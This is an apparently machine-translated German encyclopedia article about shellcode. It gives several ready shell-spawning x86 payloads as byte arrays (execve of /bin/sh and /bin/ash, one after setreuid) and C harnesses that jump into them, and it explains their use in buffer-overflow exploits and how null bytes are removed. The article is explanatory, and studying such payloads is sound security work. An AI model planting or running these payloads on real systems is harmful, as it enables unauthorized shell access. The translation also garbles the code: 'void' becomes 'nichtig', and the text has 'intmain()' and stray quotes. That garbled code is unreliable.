Shell-Code
Ein Shellcode ist ein Satz von Befehlen, die im Allgemeinen in Assemblersprache programmiert und in Opcodes (Satz von Hexadezimalwerten) übertragen werden, die normalerweise in den Ausführungsstapel (oder Stapel ) eines Programms eingefügt werden, um die Maschine, auf der es sich befindet, dazu zu bringen, die geplante Operation auszuführen .
Begriff
Der Begriff Shellcode leitet sich von ihrem allgemeinen Zweck ab, dies war ein Teil eines Exploits , der verwendet wurde, um eine Shell zu erhalten , dies ist derzeit der häufigste Zweck, für den sie verwendet werden.
Pascal-Shellcode-Beispiel
Um einen Shellcode auszuführen, wird normalerweise eine höhere Programmiersprache verwendet, wie zum Beispiel die Pascal -Sprache . Die aus unserem Assemblercode erhaltenen Opcodes werden in einem Array vom Typ Byte aufgelistet und in einen aufzurufenden Prototyp geladen.
Ein Beispiel für einen Shellcode ist der folgende:
Prototypenlauf _ 'Variablen. Var ShellCode[]: Byte ' Byte-Array für den OpCode.. Var Prototype:Exec ' Prototyp, der den ShellCode ausführt. ' ShellCode initialisieren/laden. ShellCode = [&31,&d2,&b2,&30,&64,&8b,&12,&8b,&52,&0c,&8b,&52,&1c,&8b,&42 _ ,&08,&8b,&72,&20,&8b,&12,&80,&7e,&0c,&33,&75,&f2,&89,&c7,&03 _ ,&78,&3c,&8b,&57,&78,&01,&c2,&8b,&7a,&20,&01,&c7,&31,&ed,&8b _ ,&34,&af,&01,&c6,&45,&81,&3e,&46,&61,&74,&61,&75,&f2,&81,&7e _ ,&08,&45,&78,&69,&74,&75,&e9,&8b,&7a,&24,&01,&c7,&66,&8b,&2c _ ,&6f,&8b,&7a,&1c,&01,&c7,&8b,&7c,&af,&fc,&01,&c7,&68,&79,&74 _ ,&65,&01,&68,&6b,&65,&6e,&42,&68,&20,&42,&72,&6f,&89,&e1,&fe_ ,&49,&0b,&31,&c0,&51,&50,&ff,&d7] „Wir haben den Prototyp-Code so eingestellt, dass er ausgeführt wird. Prototyp@ = ShellCode[0]@ ' Wir führen den ShellCode aus. Prototyp
Wie man sieht, sind Opcodes hexadezimale Werte, die in Bytes umgewandelt werden (ganzzahlige Werte zwischen 0 und 255) und die das Betriebssystem als Assemblercode versteht, den es ausführt.
C-Shellcode-Beispiel
Das folgende Beispiel zeigt einen Shellcode, der in einem Array eines in C-Sprache geschriebenen Programms enthalten ist:
char Shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb0\x46" /* mov $0x46,%al */
"\xcd\x80" /* int $0x80 */
"\x50" /* pushl %eax */
"\x68""/ash" /* pushl $0x6873612f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
Wir haben also, dass ein Shellcode Maschinencode ist, der in hexadezimaler Schreibweise geschrieben ist . Sie werden später in Programmen verwendet, die in C geschrieben sind, wie im folgenden Beispiel-Shellcode:
// Shellcode.c
// mit gcc kompilieren shellcode.c -o shellcode
void main()
{
((nichtig(*)(nichtig))
{
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9"
"\xb0\x04\xb3\x01\x59\xb2\x21\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff"
"\xff\xff\x76\x69\x73\x69\x74\x61\x20\x68"
"\x74\x74\x70\x3a\x2f\x2f\x68\x65\x69\x6e"
"\x7a\x2e\x68\x65\x72\x6c\x69\x74\x7a\x2e"
"\x63\x6c\x20\x3d\x29"
}
)();
}
Oder dieses andere:
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
intmain()
{
void (*fp)();
fp = (void*) &shellcode;
fp();
}
Informationen
Shellcodes müssen kurz sein, um in den Stapel eingefügt zu werden, der im Allgemeinen ein kleiner Raum ist.
Shellcodes werden verwendet, um Code auszuführen, indem bestimmte Schwachstellen im Code ausgenutzt werden, die Pufferüberläufe genannt werden . Hauptsächlich ist der Shellcode so programmiert, dass ein Befehlsinterpreter auf dem infizierten Computer ausgeführt werden kann.
Es ist üblich, dass bei der Kompilierung eines Shellcodes Null-Bytes erzeugt werden , die daraus entfernt werden müssen, da sie die Ausführung des Shellcodes stoppen würden. Zu diesem Zweck verwendet der Programmierer verschiedene Techniken, z. B. das Ersetzen der Anweisungen, die NULL-Bytes erzeugen, durch andere, die dies nicht tun, oder das Ausführen einer XOR-Operation, das Bewegen zu kleineren Registern (z. B. AH, AL) und damit das Zulassen, dass der Shellcode wirklich injizierbar ist .